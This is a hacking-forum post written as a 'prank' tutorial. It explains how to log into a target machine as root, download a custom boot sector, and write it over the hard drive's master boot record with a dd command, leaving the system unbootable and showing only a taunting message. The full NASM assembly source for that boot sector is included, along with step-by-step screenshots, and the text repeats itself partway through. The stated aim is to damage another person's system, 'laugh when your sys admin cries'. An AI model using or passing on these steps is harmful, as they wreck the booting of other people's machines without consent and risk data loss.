No Boot4U prank (destructive) 08-07-2014, 09:09 PM
#1
I got bored and created a little boot loader in assembly language
(You can learn the basics of it here)
And I decided why not make a little prank tutorial out of it...
The Warning: Keep in mind this "prank" can be extremely destructive of an hdd. And might make someone just about kill you. Also I tested this on DSL (Damn small linux) in a virtual box, I suggest you do the same.
The Result: An un-bootable hard drive and a very upset user who now have to fix their mbr. Every time the user boots into that hard drive they can no longer get past anything but your taunting message.
The Prank:
Requirements...
Let's get started..
Step 1
Log into the target system
Step 2
Download boot.bin file, I had mine on a local webserver
Step 3
Use dd (For windows use this) and enter the following
input file = boot.bin
output file = /dev/hda
bs = read up to 512 bytes
count = 1 iteration
/dev/hda is the main bootable hard drive (you'll have to figure this part out because it is most likely different on your system)
Step 4
Reboot!
Step 5
Laugh when your sys admin cries..
Source Code for my boot.bin, make sure you compile with nasm
I hope you enjoy this and I'm not responsible for you getting beat up.
(You can learn the basics of it here)
And I decided why not make a little prank tutorial out of it...
The Warning: Keep in mind this "prank" can be extremely destructive of an hdd. And might make someone just about kill you. Also I tested this on DSL (Damn small linux) in a virtual box, I suggest you do the same.
The Result: An un-bootable hard drive and a very upset user who now have to fix their mbr. Every time the user boots into that hard drive they can no longer get past anything but your taunting message.
The Prank:
Requirements...
- A bin file designed to take up the first 512 bytes of a hard drive
- root (big requirement, I know)
- way to download boot.bin to the computer
Let's get started..
Step 1
Log into the target system
![[Image: bgIf0cE.png]](http://i.imgur.com/bgIf0cE.png)
Step 2
Download boot.bin file, I had mine on a local webserver
![[Image: oanhdvn.png]](http://i.imgur.com/oanhdvn.png)
Step 3
Use dd (For windows use this) and enter the following
Code:
dd if=boot.bin of=/dev/hda bs=512 count=1output file = /dev/hda
bs = read up to 512 bytes
count = 1 iteration
/dev/hda is the main bootable hard drive (you'll have to figure this part out because it is most likely different on your system)
![[Image: mNHafuF.png]](http://i.imgur.com/mNHafuF.png)
Step 4
Reboot!
![[Image: nEY4OSG.png]](http://i.imgur.com/nEY4OSG.png)
Step 5
Laugh when your sys admin cries..
![[Image: IlSflb2.png]](http://i.imgur.com/IlSflb2.png)
Source Code for my boot.bin, make sure you compile with nasm
Code:
[BITS 16]
[ORG 0x7C00]
MOV SI, Msg
CALL OutStr
JMP $
OutChar:
MOV AH, 0x0E
MOV BH, 0x00
MOV BL, 0x07
INT 0x10
RET
OutStr:
next_char:
MOV AL, [SI]
INC SI
OR AL, AL
JZ exit_function
CALL OutChar
JMP next_char
exit_function:
RET
Msg db 0xA, 0xD, 0xA, 0xD
db 'Hello from...', 0xA, 0xD, 0xA, 0xD
db ' # # ##### ##### #######', 0xA, 0xD
db ' # # # # # # # #', 0xA, 0xD
db ' ####### #### # # # # #', 0xA, 0xD
db ' # # # #### # # #', 0xA, 0xD
db ' # # ##### # # #######', 0xA, 0xD
db ' ', 0xA, 0xD
db ' [Good Bye]', 0
TIMES 510 - ($ - $$) db 0
DW 0xAA55I hope you enjoy this and I'm not responsible for you getting beat up.
(This post was last modified: 08-07-2014, 09:20 PM by zimba.)
![[Image: iQ3pcQu.png]](http://i.imgur.com/iQ3pcQu.png)
BTC Address: 1DCKgDaWcmc9dxBkhe9qrTQtrQpoFUzXdn


![[+]](https://sinister.li/images/modern/collapse_collapsed.png)
![[Image: Free_Logo_autonomous..png]](https://dl.dropboxusercontent.com/u/18833908/Free_Logo_autonomous..png)
![[Image: qJweLN6.jpg]](http://i.imgur.com/qJweLN6.jpg)